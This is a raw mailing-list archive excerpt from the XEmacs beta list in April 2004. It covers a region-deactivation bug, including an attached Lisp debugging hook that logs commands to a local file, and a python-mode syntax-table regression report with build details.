Cheers =8-} Mike Friede, Völkerverständigung und überhaupt blabla From xemacs-beta-admin@xemacs.org Sun Apr 4 06:33:11 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i34AX1s06951; Sun, 4 Apr 2004 06:33:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i34AWU906866 for xemacs-beta-mailman@xemacs.org; Sun, 4 Apr 2004 06:32:30 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i34AWTf06851 for turnbull@tux.org; Sun, 4 Apr 2004 06:32:29 -0400 Received: from mailout02.sul.t-online.com (mailout02.sul.t-online.com [194.25.134.17]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i34AWRs06835; Sun, 4 Apr 2004 06:32:27 -0400 Received: from sfwd00.aul.t-online.de by mailout02.sul.t-online.com with smtp id 1BA4vS-0003oH-00; Sun, 04 Apr 2004 12:32:26 +0200 Received: from D5DC120J.t-online.de (XLzuEZZGQeRkmEnoReDfd11RyTY-QCyWDk0BfsFYkPJxTi5oSk4AwA@[217.229.9.75]) by afwd00.sul.t-online.com with esmtp id 1BA4vK-0MOeyu0; Sun, 4 Apr 2004 12:32:18 +0200 To: Michael Sperber Cc: XEmacs Beta List Subject: M-x ANY-CHAR deactivates region (was: So long, and thanks for all the fish) X-Face: 4[iHdXiTu\V3u[~\I)*}#kYF[-tYl3VZga/HSOP|K,{L Rtu@f0y/=O&Cu}\:~d|P$JON?pn?j,&CnPb1z#/TL9bkAJwyol&a:SvYj-VYbM=Dtxhk9 =w|R6U3_;SH&B <5.0.0.25.2.20031002221741.019e4a48@127.0.0.1> <20031005212139.GA96929@dspnet.fr.eu.org> <878ynx4dnq.fsf@tleepslib.sk.tsukuba.ac.jp> <4.3.2.7.2.20031007065755.00b8fe88@127.0.0.1> Organization: The XEmacs Project From: Adrian Aichner Date: Sun, 04 Apr 2004 12:33:22 +0200 In-Reply-To: (Michael Sperber's message of "Tue, 07 Oct 2003 22:59:23 +0200") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, windows-nt) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" X-Seen: false X-ID: XLzuEZZGQeRkmEnoReDfd11RyTY-QCyWDk0BfsFYkPJxTi5oSk4AwA X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , --=-=-= >>>>> " " == Michael Sperber writes: >>>>> "APA" == Adrian Aichner writes: APA> However, commands on regions deactivate the region first in 21.5 after APA> some(TM) usage. APA> I have not been able to come up with a testcase to this day. > I've partially tracked this down. (It's somewhere off Fnext_event.) > But I'm waiting for it to happen again to do more. And, sure enough, > it doesn't happen anymore :-( Hello Michael, still waiting? ;-> Have you made any progress on this annoying issue? I don't have a test-case, other than using XEmacs for day-to-day useful stuff (gnus, ediff, cvs, grep) I found that, once the problem hits, (setq zmacs-regions nil) allows to use M-x sort-lines on a region again, but obviously without the visual feedback. I am experimenting with tracing of commands in 21.5 vs. 21.4.15, where this problem is not showing. See below for the pre-command-hook and post-command-hook additions I use. Best regards, Adrian --=-=-= Content-Type: application/emacs-lisp Content-Disposition: attachment; filename=command-reporting.el (defun report-pre-command () (with-temp-buffer (insert (format "%s PRE-COMMAND %s\n" last-command this-command)) ; (backtrace (current-buffer) t) (let ((log-message-ignore-labels (append '(message command) log-message-ignore-labels))) (write-region (point-min) (point-max) (expand-file-name "command-reporting.txt" (getenv "TEMP")) 'append 'quiet)))) (defun report-post-command () (with-temp-buffer (insert (format "%s POST-COMMAND %s\n\n" last-command this-command)) ; (backtrace (current-buffer) t) (let ((log-message-ignore-labels (append '(message command) log-message-ignore-labels))) (write-region (point-min) (point-max) (expand-file-name "command-reporting.txt" (getenv "TEMP")) 'append 'quiet)))) (add-hook 'pre-command-hook 'report-pre-command) (add-hook 'post-command-hook 'report-post-command) ; (remove-hook 'pre-command-hook 'report-pre-command) ; (remove-hook 'post-command-hook 'report-post-command) --=-=-= Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable > --=20 > Cheers =3D8-} Mike > Friede, V=F6lkerverst=E4ndigung und =FCberhaupt blabla --=20 Adrian Aichner mailto:adrian@xemacs.org http://www.xemacs.org/ --=-=-=-- From xemacs-beta-admin@xemacs.org Sun Apr 4 07:20:18 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i34BK3s16882; Sun, 4 Apr 2004 07:20:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i34BJfs16800 for xemacs-beta-mailman@xemacs.org; Sun, 4 Apr 2004 07:19:41 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i34BJe516776 for turnbull@tux.org; Sun, 4 Apr 2004 07:19:40 -0400 Received: from mailout02.sul.t-online.com (mailout02.sul.t-online.com [194.25.134.17]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i34BJcs16769; Sun, 4 Apr 2004 07:19:38 -0400 Received: from sfwd01.aul.t-online.de by mailout02.sul.t-online.com with smtp id 1BA5f5-0008Jc-00; Sun, 04 Apr 2004 13:19:35 +0200 Received: from D5DC120J.t-online.de (Z6xfHiZpoeSRY+gMM9pFBPTXvePMLqPzP2LW+9VVsNahrJlhXsskgd@[80.128.62.237]) by afwd01.sul.t-online.com with esmtp id 1BA5f1-2DBkno0; Sun, 4 Apr 2004 13:19:31 +0200 To: XEmacs Beta , Zajcev Evgeny Subject: Re: [AC] Re: [PATCH] dedicated window deletion patch X-Face: 4[iHdXiTu\V3u[~\I)*}#kYF[-tYl3VZga/HSOP|K,{L Rtu@f0y/=O&Cu}\:~d|P$JON?pn?j,&CnPb1z#/TL9bkAJwyol&a:SvYj-VYbM=Dtxhk9 =w|R6U3_;SH&B <7jww6b0m.fsf@smtpmail.t-online.de> Organization: The XEmacs Project From: Adrian Aichner Date: Sun, 04 Apr 2004 13:20:32 +0200 In-Reply-To: <7jww6b0m.fsf@smtpmail.t-online.de> (Adrian Aichner's message of "Sat, 03 Apr 2004 22:51:05 +0200") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Security Through Obscurity, windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Seen: false X-ID: Z6xfHiZpoeSRY+gMM9pFBPTXvePMLqPzP2LW+9VVsNahrJlhXsskgd X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> " " == Adrian Aichner writes: > APPROVE COMMIT > Thanks for your contribution, Zajcev! Hello Evgeny, sorry for getting confused about your first and last name. Thanks to Steve Y. for pointing this out. -- Adrian Aichner mailto:adrian@xemacs.org http://www.xemacs.org/ From xemacs-beta-admin@xemacs.org Sun Apr 4 08:38:07 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i34Cc5s01047; Sun, 4 Apr 2004 08:38:05 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i34CbuD00976 for xemacs-beta-mailman@xemacs.org; Sun, 4 Apr 2004 08:37:56 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i34Cbtm00963 for turnbull@tux.org; Sun, 4 Apr 2004 08:37:55 -0400 Received: from mx4.informatik.uni-tuebingen.de (mx4.Informatik.Uni-Tuebingen.De [134.2.12.29]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i34Cbqs00954; Sun, 4 Apr 2004 08:37:52 -0400 Received: from localhost (loopback [127.0.0.1]) by mx4.informatik.uni-tuebingen.de (Postfix) with ESMTP id D13251147; Sun, 4 Apr 2004 14:37:33 +0200 (MST) Received: from mx4.informatik.uni-tuebingen.de ([127.0.0.1]) by localhost (mx4 [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 49460-02; Sun, 4 Apr 2004 14:37:33 +0200 (DFT) Received: from sams.informatik.uni-tuebingen.de (sams.Informatik.Uni-Tuebingen.De [134.2.12.50]) by mx4.informatik.uni-tuebingen.de (Postfix) with ESMTP id 87D5B12D0; Sun, 4 Apr 2004 14:37:30 +0200 (MST) Received: from sams.informatik.uni-tuebingen.de (localhost [127.0.0.1]) by sams.informatik.uni-tuebingen.de (8.12.3/8.12.3) with ESMTP id i34CbUET010955; Sun, 4 Apr 2004 14:37:30 +0200 (CEST) (envelope-from sperber@sams.informatik.uni-tuebingen.de) Received: (from sperber@localhost) by sams.informatik.uni-tuebingen.de (8.12.3/8.12.3/Submit) id i34CbTUM010954; Sun, 4 Apr 2004 14:37:29 +0200 (CEST) To: Adrian Aichner Cc: XEmacs Beta List Subject: Re: M-x ANY-CHAR deactivates region References: <878ynx4dnq.fsf@tleepslib.sk.tsukuba.ac.jp> <5.0.0.25.2.20031002221741.019e4a48@127.0.0.1> <20031005212139.GA96929@dspnet.fr.eu.org> <878ynx4dnq.fsf@tleepslib.sk.tsukuba.ac.jp> <4.3.2.7.2.20031007065755.00b8fe88@127.0.0.1> From: Michael Sperber Date: Sun, 04 Apr 2004 14:37:29 +0200 In-Reply-To: (Adrian Aichner's message of "Sun, 04 Apr 2004 12:33:22 +0200") Message-ID: User-Agent: Gnus/5.110001 (No Gnus v0.1) XEmacs/21.5 (celeriac, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "APA" == Adrian Aichner writes: >>>>> " " == Michael Sperber writes: >>>>> "APA" == Adrian Aichner writes: APA> However, commands on regions deactivate the region first in 21.5 after APA> some(TM) usage. APA> I have not been able to come up with a testcase to this day. >> I've partially tracked this down. (It's somewhere off Fnext_event.) >> But I'm waiting for it to happen again to do more. And, sure enough, >> it doesn't happen anymore :-( APA> Hello Michael, still waiting? ;-> APA> Have you made any progress on this annoying issue? Yes; I've narrowed it down considerably. It happens in post_command_hook, in this code: if (! zmacs_region_stays && (!MINI_WINDOW_P (XWINDOW (win)) || EQ (zmacs_region_buffer (), WINDOW_BUFFER (XWINDOW (win))))) zmacs_deactivate_region (); else zmacs_update_region (); However, the stuff I do for debugging tends to deactivate the bug, so it's still a waiting game. But it *is* at the very top of my list, and I work on it whenever I can reproduce it. -- Cheers =8-} Mike Friede, Völkerverständigung und überhaupt blabla From xemacs-beta-admin@xemacs.org Sun Apr 4 09:30:04 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i34DU2s11627; Sun, 4 Apr 2004 09:30:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i34DTl311526 for xemacs-beta-mailman@xemacs.org; Sun, 4 Apr 2004 09:29:47 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i34DTka11515 for turnbull@tux.org; Sun, 4 Apr 2004 09:29:46 -0400 Received: from smtp.hispeed.ch (mxout.hispeed.ch [62.2.95.247]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i34DTis11502; Sun, 4 Apr 2004 09:29:44 -0400 Received: from confusibombus.emacswiki.org (80-218-88-164.dclient.hispeed.ch [80.218.88.164]) by smtp.hispeed.ch (8.12.6/8.12.6/tornado-1.0) with ESMTP id i34DTgCT026847; Sun, 4 Apr 2004 15:29:43 +0200 To: Adrian Aichner Cc: XEmacs Beta Subject: Re: [Erc-help] [C] Re: [PATCH] erc: Use truncate-string-to-width instead of truncate-string alias References: <7jx5deft.fsf@smtpmail.t-online.de> <87r7v9najr.fsf@emacswiki.org> <8yhej91w.fsf@smtpmail.t-online.de> From: Alex Schroeder Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAYAAABXAvmHAAACkElEQVR42s1a0bLsIAgzjv// y7kPd9pVKxKVdk6fzux2C4EAwR6QZBpcQEopIf3Fq3a52Lfh0Mjjk99zcWYBwA2ihEen9jVxfAf/ u0+Y2HQwNoVw4Dx34trRV6NSjiLPmfPt77jwiBxB/3PnZ3B2AGxzHnGu0wcBwAIAyQwZGvQhiFcy YLOFQcSB/MS82n3ec37vykNqRFTX9rVWR2U5+pZNIggll0CUOQN9BDdm1LfBmcZxIEqjL6r2JU/D galaB7Zg4jlY2ulnIx9OR4iMRl38CAFyKaA8jAxE7lNn650VKMULZ/54crqn0YQCJGQliebXkFIK hwqmGm28cgsSjz/hzRCMneQEwMjVoH3gWTtMPgIslJUV5uIluvUEkyzU+gUGQO62e9NuSdZCzNOM fDPC87iCqfE9gHinsIrSL16TPBfrYIeHzqKU90a50jCh54EcrgAUFo5ibzvebgr/I66USQ0CspQp IVSoBQK3WswDDIndIraHxoglqOjM1d044PQvu1NY0EHtqQR/XwJ+PeCs0x2dSlApZVw4MPER23PD 7JekoHxrqTRod/2Gx5nhx5dfAJhqPt7tDMIZxNN/7lOIaparPn7ZQ88drlORC2eLWXowxIq4gHTh VN1BSmsHoxYAbPWDTuGQuuecS+aYQUYpfr0YqPQOuuUk5tApK077+2xfOYP+XyWEIwPcE49lvT9N y2+wU2KylGGp4yxlALcm6fSlmgk62yfSsfNunDl5d6W91MBUoZw679YAJoMMkhijuXdFOL+khaL2 s+g3zy4APQuQvSc/BNAYnkl6E8ivYtEHJXa1dihE3zgnKMdNgN8DiIwgA17NykUMvFDQ+LALvXXI BuBLAHv/DvBmc/0HzR03PqXmLcQAAAAASUVORK5CYII= Date: Sun, 04 Apr 2004 15:29:43 +0200 In-Reply-To: <8yhej91w.fsf@smtpmail.t-online.de> (Adrian Aichner's message of "Sat, 03 Apr 2004 00:42:51 +0200") Message-ID: <871xn3swfs.fsf@emacswiki.org> User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/22.0.0 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Adrian Aichner writes: > Where would I send that report? > > cd c:\Hacking\subversions.gnu.org\emacs\lisp\ > grep -Pni "(report|submit|bug)" pcv*.el NUL: > ... > does not enlighten me. In pcvs.el I found the following, which matches my recollection from emacs-devel: Maintainer: (Stefan Monnier) monnier+lists/cvs/pcl@flint.cs.yale.edu Alex. -- .O. http://www.emacswiki.org/alex/ ..O Schroeder's fourth law: OOO None of your friends and coworkers share your taste in music. From xemacs-beta-admin@xemacs.org Sun Apr 4 10:24:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i34EO1s23074; Sun, 4 Apr 2004 10:24:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i34ENlw23030 for xemacs-beta-mailman@xemacs.org; Sun, 4 Apr 2004 10:23:47 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i34ENei22994 for turnbull@tux.org; Sun, 4 Apr 2004 10:23:40 -0400 Received: from manatee.mojam.com (manatee.mojam.com [199.249.165.175]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i34ENds22990 for ; Sun, 4 Apr 2004 10:23:39 -0400 Received: from montanaro.dyndns.org (c-24-12-188-128.client.comcast.net [24.12.188.128]) by manatee.mojam.com (8.12.1-20030917/8.12.1) with ESMTP id i34ENZeU013698 for ; Sun, 4 Apr 2004 09:23:36 -0500 Received: from montanaro.dyndns.org (localhost [127.0.0.1]) by montanaro.dyndns.org (8.12.9/8.12.6) with ESMTP id i34ENY9j012738 for ; Sun, 4 Apr 2004 09:23:35 -0500 (CDT) Received: (from skip@localhost) by montanaro.dyndns.org (8.12.9/8.12.2/Submit) id i34ENRUj012735; Sun, 4 Apr 2004 09:23:27 -0500 (CDT) Date: Sun, 4 Apr 2004 09:23:27 -0500 (CDT) Message-Id: <200404041423.i34ENRUj012735@montanaro.dyndns.org> From: Skip Montanaro To: XEmacs Beta Subject: [Bug: 21.5-b16] py-symbol-near-point broke between b9 and b16 Reply-to: skip@pobox.com X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=1.5 required=5.0 tests=AWL,MAILTO_TO_SPAM_ADDR autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Python-mode.el has a function called py-symbol-near-point: (defun py-symbol-near-point () "Return the first textual item to the nearest point." ;; alg stolen from etag.el (save-excursion (with-syntax-table py-dotted-expression-syntax-table (if (or (bobp) (not (memq (char-syntax (char-before)) '(?w ?_)))) (while (not (looking-at "\\sw\\|\\s_\\|\\'")) (forward-char 1))) (while (looking-at "\\sw\\|\\s_") (forward-char 1)) (if (re-search-backward "\\sw\\|\\s_" nil t) (progn (forward-char 1) (buffer-substring (point) (progn (forward-sexp -1) (while (looking-at "\\s'") (forward-char 1)) (point)))) nil)))) which is used to identify python identifiers and dotted expressions. This broke sometime between 21.5-b9 and 21.5-b16. If dot is somewhere within sys.getdefaultencoding it correctly returns "sys.getdefaultencoding" under b9 but returns nil under b16. Stepping through the function in both b9 and b16 using edebug suggests that (char-syntax (char-before)) returns ?\. in b16 when point is within a range of alphabetic characters and ?w in b9 under the same situation. That suggests that something changed with the interpretation of py-dotted-expression-syntax-table. Debugging this is way beyond my feeble skills. I didn't see any ChangeLog entries which seemed apropos, but I'm not real sure what to look for. I hope someone can connect the behavioral change with some changes in XEmacs. -- Skip Montanaro Got gigs? http://www.musi-cal.com/submit.html Got spam? http://www.spambayes.org/ skip@pobox.com System Info to help track down your bug: --------------------------------------- uname -a: Darwin montanaro.dyndns.org 6.8 Darwin Kernel Version 6.8: Wed Sep 10 15:20:55 PDT 2003; root:xnu/xnu-344.49.obj~2/RELEASE_PPC Power Macintosh powerpc ./configure '--prefix=/Users/skip/local' '--site-includes=/sw/include' '--site-libraries=/sw/lib' XEmacs 21.5-b16 "celeriac" (+CVS-20040209) configured for `powerpc-apple-darwin6.8'. Compilation Environment and Installation Defaults: Source code location: /Users/skip/src/xemacs/xemacs Installation prefix: /Users/skip/local Additional header files: /sw/include Additional libraries: /sw/lib Operating system description file: `s/darwin.h' Machine description file: `m/powerpc.h' Compiler version: gcc (GCC) 3.3 20030304 (Apple Computer, Inc. build 1493) - GCC specs file: /usr/libexec/gcc/darwin/ppc/3.3/specs - Compiler command: gcc -Wall -Wno-switch -Winline -Wmissing-prototypes -Wsign-compare -Wundef -Wstrict-prototypes -Wpacked -Wshadow -Wmissing-declarations -Wpointer-arith -g -O3 libc version: Relocating allocator for buffers: no GNU version of malloc: no - The GNU allocators don't work with this system configuration. Window System: Compiling in support for the X window system: - X Windows headers location: /usr/X11R6/include - X Windows libraries location: /usr/X11R6/lib - Handling WM_COMMAND properly. Using Lucid menubars. Using Lucid scrollbars. TTY: Compiling in support for ncurses. Images: Compiling in support for GIF images (builtin). Compiling in support for XPM images. Compiling in support for PNG images. Compiling in support for JPEG images. Compiling in support for TIFF images. Sound: Databases: Compiling in support for Berkeley database. Compiling in support for GNU DBM. Compiling in support for LDAP. Compiling in support for PostgreSQL. - Using PostgreSQL header file: postgresql/libpq-fe.h - Using PostgreSQL V7 bindings. Internationalization: Mail: Compiling in support for "dot-locking" mail spool file locking method. Other Features: Inhibiting IPv6 canonicalization at startup. Compiling in support for dynamic shared object modules. Using the new portable dumper. Compiling in support for extra debugging code. WARNING: --------------------------------------------------------- WARNING: Compiling in support for runtime error checking. WARNING: XEmacs will run noticeably more slowly as a result. WARNING: Error checking is on by default for XEmacs beta releases. WARNING: --------------------------------------------------------- Load-Path Lisp Shadows: ---------------------- (/Users/skip/emacs/macedit /Users/skip/local/lib/xemacs/xemacs-packages/lisp/calc/macedit /Users/skip/emacs/pdb /Users/skip/local/lib/xemacs/xemacs-packages/lisp/debug/pdb /Users/skip/emacs/tempo /Users/skip/local/lib/xemacs/xemacs-packages/lisp/edit-utils/tempo /Users/skip/emacs/python-mode /Users/skip/local/lib/xemacs/xemacs-packages/lisp/python-modes/python-mode /Users/skip/emacs/slider /Users/skip/local/lib/xemacs/xemacs-packages/lisp/slider/slider /Users/skip/emacs/po-mode /Users/skip/local/lib/xemacs/xemacs-packages/lisp/text-modes/po-mode /Users/skip/emacs/vm-sort /Users/skip/local/lib/xemacs/xemacs-packages/lisp/vm/vm-sort /Users/skip/emacs/imenu /Users/skip/local/lib/xemacs/xemacs-packages/lisp/xemacs-base/imenu /Users/skip/emacs/ffap /Users/skip/local/lib/xemacs/xemacs-packages/lisp/xemacs-base/ffap /Users/skip/local/lib/xemacs/xemacs-packages/lisp/bbdb/bbdb /Users/skip/local/lib/xemacs/xemacs-packages/bbdb/lisp/bbdb /Users/skip/local/lib/xemacs/xemacs-packages/lisp/bbdb/bbdb-xemacs /Users/skip/local/lib/xemacs/xemacs-packages/bbdb/lisp/bbdb-xemacs /Users/skip/local/lib/xemacs/xemacs-packages/lisp/bbdb/bbdb-whois /Users/skip/local/lib/xemacs/xemacs-packages/bbdb/lisp/bbdb-whois /Users/skip/local/lib/xemacs/xemacs-packages/lisp/bbdb/bbdb-w3 /Users/skip/local/lib/xemacs/xemacs-packages/bbdb/lisp/bbdb-w3 /Users/skip/local/lib/xemacs/xemacs-packages/lisp/bbdb/bbdb-vm /Users/skip/local/lib/xemacs/xemacs-packages/bbdb/lisp/bbdb-vm /Users/skip/local/lib/xemacs/xemacs-packages/lisp/bbdb/bbdb-srv /Users/skip/local/lib/xemacs/xemacs-packages/bbdb/lisp/bbdb-srv /Users/skip/local/lib/xemacs/xemacs-packages/lisp/bbdb/bbdb-snarf /Users/skip/local/lib/xemacs/xemacs-packages/bbdb/lisp/bbdb-snarf /Users/skip/local/lib/xemacs/xemacs-packages/lisp/bbdb/bbdb-sc /Users/skip/local/lib/xemacs/xemacs-packages/bbdb/lisp/bbdb-sc /Users/skip/local/lib/xemacs/xemacs-packages/lisp/bbdb/bbdb-rmail /Users/skip/local/lib/xemacs/xemacs-packages/bbdb/lisp/bbdb-rmail /Users/skip/local/lib/xemacs/xemacs-packages/lisp/bbdb/bbdb-reportmail /Users/skip/local/lib/xemacs/xemacs-packages/bbdb/lisp/bbdb-reportmail /Users/skip/local/lib/xemacs/xemacs-packages/lisp/bbdb/bbdb-print /Users/skip/local/lib/xemacs/xemacs-packages/bbdb/lisp/bbdb-print /Users/skip/local/lib/xemacs/xemacs-packages/lisp/bbdb/bbdb-migrate /Users/skip/local/lib/xemacs/xemacs-packages/bbdb/lisp/bbdb-migrate /Users/skip/local/lib/xemacs/xemacs-packages/lisp/bbdb/bbdb-mhe /Users/skip/local/lib/xemacs/xemacs-packages/bbdb/lisp/bbdb-mhe /Users/skip/local/lib/xemacs/xemacs-packages/lisp/bbdb/bbdb-merge /Users/skip/local/lib/xemacs/xemacs-packages/bbdb/lisp/bbdb-merge /Users/skip/local/lib/xemacs/xemacs-packages/lisp/bbdb/bbdb-hooks /Users/skip/local/lib/xemacs/xemacs-packages/bbdb/lisp/bbdb-hooks /Users/skip/local/lib/xemacs/xemacs-packages/lisp/bbdb/bbdb-gui /Users/skip/local/lib/xemacs/xemacs-packages/bbdb/lisp/bbdb-gui /Users/skip/local/lib/xemacs/xemacs-packages/lisp/bbdb/bbdb-gnus /Users/skip/local/lib/xemacs/xemacs-packages/bbdb/lisp/bbdb-gnus /Users/skip/local/lib/xemacs/xemacs-packages/lisp/bbdb/bbdb-ftp /Users/skip/local/lib/xemacs/xemacs-packages/bbdb/lisp/bbdb-ftp /Users/skip/local/lib/xemacs/xemacs-packages/lisp/bbdb/bbdb-com /Users/skip/local/lib/xemacs/xemacs-packages/bbdb/lisp/bbdb-com /Users/skip/local/lib/xemacs/xemacs-packages/lisp/ess/semantic-sas /Users/skip/local/lib/xemacs/xemacs-packages/ess/lisp/semantic-sas /Users/skip/local/lib/xemacs/xemacs-packages/lisp/ess/semantic-r /Users/skip/local/lib/xemacs/xemacs-packages/ess/lisp/semantic-r /Users/skip/local/lib/xemacs/xemacs-packages/lisp/ess/noweb-mode /Users/skip/local/lib/xemacs/xemacs-packages/ess/lisp/noweb-mode /Users/skip/local/lib/xemacs/xemacs-packages/lisp/ess/noweb-font-lock-mode /Users/skip/local/lib/xemacs/xemacs-packages/ess/lisp/noweb-font-lock-mode /Users/skip/local/lib/xemacs/xemacs-packages/lisp/ess/msdos /Users/skip/local/lib/xemacs/xemacs-packages/ess/lisp/msdos /Users/skip/local/lib/xemacs/xemacs-packages/lisp/ess/mouseme /Users/skip/local/lib/xemacs/xemacs-packages/ess/lisp/mouseme /Users/skip/local/lib/xemacs/xemacs-packages/lisp/ess/make-regexp /Users/skip/local/lib/xemacs/xemacs-packages/ess/lisp/make-regexp /Users/skip/local/lib/xemacs/xemacs-packages/lisp/ess/essnt204 /Users/skip/local/lib/xemacs/xemacs-packages/ess/lisp/essnt204 /Users/skip/local/lib/xemacs/xemacs-packages/lisp/ess/essl-sta /Users/skip/local/lib/xemacs/xemacs-packages/ess/lisp/essl-sta /Users/skip/local/lib/xemacs/xemacs-packages/lisp/ess/essl-sas /Users/skip/local/lib/xemacs/xemacs-packages/ess/lisp/essl-sas /Users/skip/local/lib/xemacs/xemacs-packages/lisp/ess/essl-s /Users/skip/local/lib/xemacs/xemacs-packages/ess/lisp/essl-s /Users/skip/local/lib/xemacs/xemacs-packages/lisp/ess/essl-py /Users/skip/local/lib/xemacs/xemacs-packages/ess/lisp/essl-py /Users/skip/local/lib/xemacs/xemacs-packages/lisp/ess/essl-omg /Users/skip/local/lib/xemacs/xemacs-packages/ess/lisp/essl-omg /Users/skip/local/lib/xemacs/xemacs-packages/lisp/ess/essl-lsp /Users/skip/local/lib/xemacs/xemacs-packages/ess/lisp/essl-lsp /Users/skip/local/lib/xemacs/xemacs-packages/lisp/ess/essl-bug /Users/skip/local/lib/xemacs/xemacs-packages/ess/lisp/essl-bug /Users/skip/local/lib/xemacs/xemacs-packages/lisp/ess/essdsp6w /Users/skip/local/lib/xemacs/xemacs-packages/ess/lisp/essdsp6w /Users/skip/local/lib/xemacs/xemacs-packages/lisp/ess/essddr /Users/skip/local/lib/xemacs/xemacs-packages/ess/lisp/essddr /Users/skip/local/lib/xemacs/xemacs-packages/lisp/ess/essd-xls /Users/skip/local/lib/xemacs/xemacs-packages/ess/lisp/essd-xls /Users/skip/local/lib/xemacs/xemacs-packages/lisp/ess/essd-vst /Users/skip/local/lib/xemacs/xemacs-packages/ess/lisp/essd-vst /Users/skip/local/lib/xemacs/xemacs-packages/lisp/ess/essd-sta /Users/skip/local/lib/xemacs/xemacs-packages/ess/lisp/essd-sta /Users/skip/local/lib/xemacs/xemacs-packages/lisp/ess/essd-sp6 /Users/skip/local/lib/xemacs/xemacs-packages/ess/lisp/essd-sp6 /Users/skip/local/lib/xemacs/xemacs-packages/lisp/ess/essd-sp5 /Users/skip/local/lib/xemacs/xemacs-packages/ess/lisp/essd-sp5 /Users/skip/local/lib/xemacs/xemacs-packages/lisp/ess/essd-sp4com /Users/skip/local/lib/xemacs/xemacs-packages/ess/lisp/essd-sp4com /Users/skip/local/lib/xemacs/xemacs-packages/lisp/ess/essd-sp4 /Users/skip/local/lib/xemacs/xemacs-packages/ess/lisp/essd-sp4 /Users/skip/local/lib/xemacs/xemacs-packages/lisp/ess/essd-sp3 /Users/skip/local/lib/xemacs/xemacs-packages/ess/lisp/essd-sp3 /Users/skip/local/lib/xemacs/xemacs-packages/lisp/ess/essd-sas /Users/skip/local/lib/xemacs/xemacs-packages/ess/lisp/essd-sas /Users/skip/local/lib/xemacs/xemacs-packages/lisp/ess/essd-s4 /Users/skip/local/lib/xemacs/xemacs-packages/ess/lisp/essd-s4 /Users/skip/local/lib/xemacs/xemacs-packages/lisp/ess/essd-s3 